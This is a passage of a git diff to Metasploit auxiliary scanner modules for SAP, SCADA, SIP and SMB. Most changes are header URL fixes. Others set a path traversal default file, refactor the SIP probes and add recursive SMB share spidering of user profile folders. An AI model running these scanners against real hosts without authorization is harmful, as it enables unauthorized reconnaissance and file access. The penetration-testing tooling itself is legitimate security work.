a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 33c040c8ac..ba75d84c16 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index 7b2aad3ebe..5536963dfc 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index db2a26bf6e..7e7f34eaa2 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index 4695780832..2f445ed5f9 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index 12fd250430..b54eb2d44e 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb index df4ffab1df..a93c3dfafe 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb index c981682352..3de56d9a43 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_version.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb index 905c90d585..0838eae12e 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb index 357a58e28a..b0a9ea2d1c 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_version.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index 5064689053..6b8acd99f2 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ - OptString.new('RFILE', [true, 'Remote File', '/boot.ini']), + OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 3]) ], self.class) diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index 7ae26efc63..17e58cca86 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index 10569838c1..d570f4281b 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 7fd40ddcee..70b5242414 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,8 +47,7 @@ class Metasploit3 < Msf::Auxiliary def send_frame(payload) sock.put(payload) @modbus_counter += 1 - r = sock.get(sock.def_read_timeout) - return r + sock.get_once(-1, sock.def_read_timeout) end def make_payload(payload) @@ -65,10 +64,7 @@ class Metasploit3 < Msf::Auxiliary payload += [@function_code].pack("c") payload += [datastore['DATA_ADDRESS']].pack("n") payload += [1].pack("n") - - packet_data = make_payload(payload) - - packet_data + make_payload(payload) end def make_write_coil_payload(data) @@ -89,9 +85,7 @@ class Metasploit3 < Msf::Auxiliary payload += [datastore['DATA_ADDRESS']].pack("n") payload += [data].pack("n") - packet_data = make_payload(payload) - - packet_data + make_payload(payload) end def handle_error(response) @@ -204,4 +198,4 @@ class Metasploit3 < Msf::Auxiliary end disconnect end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 4a4a68ed07..2006bf8c04 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index de4e0723d9..c6fd752dc6 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index 4a54223527..be7552852f 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index 5adc7d5f16..fc800f72eb 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index b8cd0d8a44..01dc953c4e 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -1,16 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary - + include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::UDPScanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), - Opt::RPORT(5060), - Opt::CHOST, - Opt::CPORT(5060) + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), + Opt::RPORT(5060) ], self.class) end - - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i + def scanner_prescan(batch) + print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @res = {} end - # Operate on an entire batch of hosts at once - def run_batch(batch) - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( - { - 'LocalHost' => datastore['CHOST'] || nil, - 'LocalPort' => datastore['CPORT'].to_i, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - } - ) - add_socket(udp_sock) - - batch.each do |ip| - data = create_probe(ip) - - begin - udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.01) and r[1]) - parse_reply(r) - end - end - - idx += 1 - end - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - ensure - udp_sock.close if udp_sock - end + def scan_host(ip) + scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT']) end - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - resp = pkt[0].split(/\s+/)[1] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(pkt[0] =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(pkt[0] =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(pkt[0] =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => pkt[1], - :type => 'sip_useragent', - :data => agent - ) - end + def scanner_process(data, shost, _) + report_response(data, shost, 'udp') end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['CPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Content-Length: 0\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - end - - end diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index d4fb1f0b56..581283c74e 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -1,15 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), Opt::RPORT(5060) ], self.class) end # Operate on a single system at a time def run_host(ip) - begin - idx = 0 - connect - sock.put(create_probe(ip)) + sock.put(create_probe(ip, 'tcp')) res = sock.get_once(-1, 5) - parse_reply(res) if res - + report_response(res, rhost, 'tcp') if res rescue ::Interrupt - raise $! + raise $ERROR_INFO ensure disconnect end end - - # - # The response parser - # - def parse_reply(resp) - - rcode = resp.split(/\s+/)[0] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(resp =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(resp =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(resp =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(resp =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => rhost, - :type => 'sip_useragent', - :data => agent - ) - end - end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['RPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - data << "Content-Length: 0\r\n" - data << "\r\n" - data - end - - end diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb index d1b262b2f3..590b4c3a46 100644 --- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb +++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index 50b4666f0b..e7d85feaaa 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index ea0fac20c2..fe272d4f3d 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 9560505694..cecd4833cc 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index 17153dbd56..b80b598f28 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index 42d86801f2..da13a91f6d 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,8 @@ class Metasploit3 < Msf::Auxiliary 'hdm', 'nebulus', 'sinn3r', - 'r3dy' + 'r3dy', + 'altonjx' ], 'License' => MSF_LICENSE, 'DefaultOptions' => @@ -44,7 +45,11 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptBool.new('DIR_SHARE', [true, 'Show all the folders and files', false ]), + OptBool.new('SpiderShares', [false, 'Spider shares recursively', false]), + OptBool.new('ShowFiles', [true, 'Show detailed information when spidering', false]), + OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]), + OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]), + OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]), OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ]) ], self.class) @@ -75,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary t.strftime("%m-%d-%Y %H:%M:%S") end - def eval_host(ip, share) + def eval_host(ip, share, subdir = "") read = write = false # srvsvc adds a null byte that needs to be removed @@ -132,7 +137,7 @@ class Metasploit3 < Msf::Auxiliary return read,write,msg,nil if skip - rfd = self.simple.client.find_first("\\") + rfd = self.simple.client.find_first("#{subdir}\\*") read = true if rfd != nil # Test writable @@ -183,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if e.error_code == 0xC00000BB vprint_error("#{ip}:#{rport} - Got 0xC00000BB while enumerating shares, switching to srvsvc...") - datastore['USE_SRVSVC_ONLY'] = true # Make sure the module is aware of this state + @srvsvc = true # Make sure the module is aware of this state return srvsvc_netshareenum(ip) end end @@ -276,67 +281,157 @@ class Metasploit3 < Msf::Auxiliary shares end + def get_user_dirs(ip, share, base, sub_dirs) + dirs = [] + usernames = [] + + begin + read,write,type,files = eval_host(ip, share, base) + # files or type could return nil due to various conditions + return dirs if files.nil? + files.each do |f| + if f[0] != "." and f[0] != ".." + usernames.push(f[0]) + end + end + usernames.each do |username| + sub_dirs.each do |sub_dir| + dirs.push("#{base}\\#{username}\\#{sub_dir}") + end + end + return dirs + rescue + return dirs + end + end + + def profile_options(ip, share) + old_dirs = ['My Documents','Desktop'] + new_dirs = ['Desktop','Documents','Downloads','Music','Pictures','Videos'] + + dirs = get_user_dirs(ip, share, "Documents and Settings", old_dirs) + if dirs.blank? + dirs = get_user_dirs(ip, share, "Users", new_dirs) + end + return dirs + end + def get_files_info(ip, rport, shares, info) read = false write = false + # Creating a separate file for each IP address's results. + detailed_tbl = Rex::Ui::Text::Table.new( + 'Header' => "Spidered results for #{ip}.", + 'Indent' => 1, + 'Columns' => [ 'IP Address', 'Type', 'Share', 'Path', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] + ) + + logdata = "" + list = shares.collect {|e| e[0]} list.each do |x| - read,write,type,files = eval_host(ip, x) - if files and (read or write) - header = "#{ip}:#{rport}" - if simple.client.default_domain and simple.client.default_name - header << " \\\\#{simple.client.default_domain}" - end - header << "\\#{simple.client.default_name}\\#{x}" if simple.client.default_name - header << " (#{type})" if type - header << " Readable" if read - header << " Writable" if write - - tbl = Rex::Ui::Text::Table.new( - 'Header' => header, - 'Indent' => 1, - 'Columns' => [ 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] - ) - - f_types = { - 1 => 'RO', 2 => 'HIDDEN', 4 => 'SYS', 8 => 'VOL', - 16 => 'DIR', 32 => 'ARC', 64 => 'DEV', 128 => 'FILE' - } - - files.each do |file| - if file[0] and file[0] != '.' and file[0] != '..' - info = file[1]['info'] - fa = f_types[file[1]['attr']] # Item type - fname = file[0] # Filename - tcr = to_unix_time(info[3], info[2]) # Created - tac = to_unix_time(info[5], info[4]) # Accessed - twr = to_unix_time(info[7], info[6]) # Written - tch = to_unix_time(info[9], info[8]) # Changed - sz = info[12] + info[13] # Size - - # Filename is too long for the UI table, cut it. - fname = "#{fname[0, 35]}..." if fname.length > 35 - - tbl << [fa || 'Unknown', fname, tcr, tac, twr, tch, sz] + x = x.strip + if x == "ADMIN$" or x == "IPC$" + next + end + if not datastore['ShowFiles'] + print_status("#{ip}:#{rport} - Spidering #{x}.") + end + subdirs = [""] + if x.strip() == "C$" and datastore['SpiderProfiles'] + subdirs = profile_options(ip, x) + end + while subdirs.length > 0 + depth = subdirs[0].count("\\") + if datastore['SpiderProfiles'] and x == "C$" + if depth-2 > datastore['MaxDepth'] + subdirs.shift + next + end + else + if depth > datastore['MaxDepth'] + subdirs.shift + next end end + read,write,type,files = eval_host(ip, x, subdirs[0]) + if files and (read or write) + if files.length < 3 + subdirs.shift + next + end + header = "#{ip}:#{rport}" + if simple.client.default_domain and simple.client.default_name + header << " \\\\#{simple.client.default_domain}" + end + header << "\\#{x.sub("C$","C$\\")}" if simple.client.default_name + header << subdirs[0] - print_good(tbl.to_s) - unless tbl.rows.empty? - p = store_loot('smb.shares', 'text/csv', ip, tbl.to_csv) - print_good("#{x} info saved in: #{p.to_s}") + pretty_tbl = Rex::Ui::Text::Table.new( + 'Header' => header, + 'Indent' => 1, + 'Columns' => [ 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size' ] + ) + + f_types = { + 1 => 'RO', 2 => 'HIDDEN', 4 => 'SYS', 8 => 'VOL', + 16 => 'DIR', 32 => 'ARC', 64 => 'DEV', 128 => 'FILE' + } + + files.each do |file| + if file[0] and file[0] != '.' and file[0] != '..' + info = file[1]['info'] + fa = f_types[file[1]['attr']] # Item type + fname = file[0] # Filename + tcr = to_unix_time(info[3], info[2]) # Created + tac = to_unix_time(info[5], info[4]) # Accessed + twr = to_unix_time(info[7], info[6]) # Written + tch = to_unix_time(info[9], info[8]) # Changed + sz = info[12] + info[13] # Size + + # Filename is too long for the UI table, cut it. + fname = "#{fname[0, 35]}..." if fname.length > 35 + + # Add subdirectories to list to use if SpiderShare is enabled. + if fa == "DIR" or (fa == nil and sz == 0) + subdirs.push(subdirs[0] + "\\" + fname) + end + + pretty_tbl << [fa || 'Unknown', fname, tcr, tac, twr, tch, sz] + detailed_tbl << ["#{ip}", fa || 'Unknown', "#{x}", subdirs[0] + "\\", fname, tcr, tac, twr, tch, sz] + logdata << "#{ip}\\#{x.sub("C$","C$\\")}#{subdirs[0]}\\#{fname}\n" + + end + end + print_good(pretty_tbl.to_s) if datastore['ShowFiles'] end + subdirs.shift + end + print_status("#{ip}:#{rport} - Spider #{x} complete.") unless datastore['ShowFiles'] == true + end + unless detailed_tbl.rows.empty? + if datastore['LogSpider'] == '1' + p = store_loot('smb.enumshares', 'text/csv', ip, detailed_tbl.to_csv) + print_good("#{ip} - info saved in: #{p.to_s}") + elsif datastore['LogSpider'] == '2' + p = store_loot('smb.enumshares', 'text/plain', ip, detailed_tbl) + print_good("#{ip} - info saved in: #{p.to_s}") + elsif datastore['LogSpider'] == '3' + p = store_loot('smb.enumshares', 'text/plain', ip, logdata) + print_good("#{ip} - info saved in: #{p.to_s}") end end end - def cleanup - datastore['RPORT'] = @rport - datastore['SMBDirect'] = @smb_redirect - datastore['USE_SRVSVC_ONLY'] = @srvsvc + def rport + @rport || datastore['RPORT'] end + # Overrides the one in smb.rb + def smb_direct + @smb_redirect || datastore['SMBDirect'] + end def run_host(ip) @rport = datastore['RPORT'] @@ -345,13 +440,13 @@ class Metasploit3 < Msf::Auxiliary shares = [] [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smb_redirect = info[1] begin connect smb_login - if datastore['USE_SRVSVC_ONLY'] + if @srvsvc shares = srvsvc_netshareenum(ip) else shares = lanman_netshareenum(ip, rport, info) @@ -363,7 +458,7 @@ class Metasploit3 < Msf::Auxiliary if shares.empty? print_status("#{ip}:#{rport} - No shares collected") else - shares_info = shares.map{|x| "#{ip}: #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") + shares_info = shares.map{|x| "#{ip}:#{rport} - #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ") shares_info.split(", ").each { |share| print_good share } @@ -376,7 +471,7 @@ class Metasploit3 < Msf::Auxiliary :update => :unique_data ) - if datastore['DIR_SHARE'] + if datastore['SpiderShares'] get_files_info(ip, rport, shares, info) end @@ -414,3 +509,4 @@ class Metasploit3 < Msf::Auxiliary end end end + diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index bef9a6374d..4f06379e47 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,6 +33,14 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RPORT', 'RHOST') end + def rport + @rport || super + end + + def smb_direct + @smbdirect || super + end + # Locate an available SMB PIPE for the specified service def smb_find_dcerpc_pipe(uuid, vers, pipes) found_pipe = nil @@ -132,8 +140,8 @@ class Metasploit3 < Msf::Auxiliary [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] sam_pipe = nil sam_handle = nil @@ -291,7 +299,7 @@ class Metasploit3 < Msf::Auxiliary report_note( :host => ip, :proto => 'tcp', - :port => datastore['RPORT'], + :port => rport, :type => 'smb.domain.enumusers', :data => domains[domain] ) diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 7e3f889f3b..bf391d893f 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -88,12 +88,20 @@ class Metasploit3 < Msf::Auxiliary accounts end + def rport + @rport || datastore['RPORT'] + end + + def smb_direct + @smbdirect || datastore['SMBDirect'] + end + def run_host(ip) [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] begin connect() diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 33a34b629e..c671ebf947 100644 --- 